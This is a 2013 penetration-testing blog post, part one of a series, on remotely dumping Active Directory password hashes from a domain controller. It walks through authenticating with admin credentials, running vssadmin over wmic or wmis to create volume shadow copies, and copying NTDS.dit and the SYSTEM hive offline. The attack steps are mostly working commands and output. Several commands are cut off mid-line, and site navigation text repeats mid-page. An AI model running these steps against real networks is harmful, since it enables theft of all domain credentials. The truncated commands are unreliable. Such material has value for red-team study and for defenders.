malicious.link

About   Brandon   Categories   Posts   Start   Tags

Volume Shadow Copy NTDS.dit Domain Hashes Remotely - Part 1

👤 mubix included in 📁 shadowcopy 📁 cracking

📅 2013-06-10 ✏ 811 words 🕐 4 minutes

CONTENTS

> This and part 2 are mostly just an update to http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html but without the need for VSSOwn, that and we are doing it remotely without the need for shell on the DC.

Ever run into a Domain Controller that wasn't allowed to talk to the Internet, had insane AV and GPOs not allowing anyone to RDP in (Even Domain Admins) unless they provided some kind of voodo happy dance? Ya me neither, but here is how you can still dump domain hashes and hash history if you run into that case. Lets start

First authenticate to the domain controller and make sure you have a good working directory to use.

Code

```
1  net use \\DC1 /user:DOMAIN\domainadminsvc domainadminsvc123
2  dir \\DC1\C$
```

Alright, lets say "TEMP" is there and it's empty on the remote DC. The way we are going to run commands will not allow us to get results directly so we are going to use a temp file on the DC in `C:\TEMP` where we already made sure is clear.

We are going to be using Volume Shadow Copies to pull the NTDS.dit file (Active Directory's DB much like Window's SAM file except that it stores the entire AD set of objects there), we also need the SYSTEM registry hive. You can get the SAM registry hive as well but that will only get local DC credentials.

So lets list the current volume shadow copies to see if we need to create one, from a Windows command prompt (or if you've installed wmic for Linux via http://www.krenger.ch/blog/wmi-commands-from-linux/) - this *IS* an interactive command so this won't work very nicely in a Meterpreter shell:

Code

```
1  C:\temp>wmic /node:DC1 /user:DOMAIN\domainadminsvc /password:domainadminsvc12
2  Executing (Win32_Process)->Create()
3  Method execution successful.
4  Out Parameters:
5  instance of __PARAMETERS
6  {
7          ProcessId = 7304;
8          ReturnValue = 0;
9  };
```

To break down this command:

- `wmic /node:DC1` - tells it to interact with the WMI API on DC1
- `/user:DOMAIN\domainadminsvc /password:domainadminsvc123` - authentication
- `process call create` - WMI speak for create a process
- `cmd /c` - vssadmin doesn't operate outside of cmd for some reason...
- `vssadmin list shadows` - List any shadow volumes that already exist
- `2>&1 > C:\temp\output.txt` - Take STDIN and STDERROR and throw it in a text file on DC1 C:\TEMP. Make sure you specify full path because you will be executing from within C:\Windows\System32 and its a pain to find anything in that directory. So if you just specify > bob.txt you get to hunt in C:\Windows\System32 or wherever WMI wants to execute you from for bob.txt

Process starts and then you need to view the output file by either copying it down, `type \\DC1\C$\TEMP\output.txt` or mount the C drive as a network share. Either way you should either see something like this:

Code

```
1  C:\temp>type output.txt
2  vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
3  (C) Copyright 2001-2005 Microsoft Corp.
4
5  Contents of shadow copy set ID: {671090fd-0198}
6    Contained 1 shadow copies at creation time: 5/31/2013 11:29:03 AM
7      Shadow Copy ID: {0863e309}
8        Original Volume: (C:)\\?\Volume{c44da10e-0154-11e1-b968-806e6f6e6963
9        Shadow Copy Volume: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
10       Originating Machine: wpad
11       Service Machine: wpad
12       Provider: 'Microsoft Software Shadow Copy provider 1.0'
13       Type: ClientAccessibleWriters
14       Attributes: Persistent, Client-accessible, No auto release, Differen
```

malicious.link

About   Brandon   Categories   Posts   Start   Tags

```
1  C:\temp>type output.txt
2  vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
3  (C) Copyright 2001-2005 Microsoft Corp.
4
5  No items found that satisfy the query
```

If there are no shadow copies or the ones there are too old (look at the creation time), you can create a shadow copy using the 'vssadmin create shadow /for=C: command. (This command only applies to Server OS (Win2k3/Win2k8) but since those are the only two that commonly have NTDS.dit files we don't have to remember this):

Code
```
1  C:\temp>wmic /node:DC1 /user:DOMAIN\domainadminsvc /password:domainadminsvc12
```

The other thing to keep in mind is that NTDS.dit isn't always on the main drive. It is commonly on a "D" drive for safety if a HDD goes bad or something. But it should always be in a folder called NTDS. (By default this is C:WindowsNTDS)

Next we just copy the files out of the shadow copies. First the SYSTEM hive:

Code
```
1  C:\temp>wmic /node:DC1 /user:DOMAIN\domainadminsvc /password:domainadminsvc12
```

Then the NTDS.dit (notice this one isn't in System32):

Code
```
1  C:\temp>wmic /node:DC1 /user:DOMAIN\domainadminsvc /password:domainadminsvc12
```

In Kali Linux you could use the WMIS package to do much the same thing:

Code
```
1  root@kali:~# wmis -U DOMAIN\domainadminsvc%domainadminsvc123 //DC1 cmd.exe /c
2  NTSTATUS: NT_STATUS_OK - Success
```

Copy those files to your own system for offline extraction which I'll cover in part 2.

Updated on 2013-06-10

Back | Home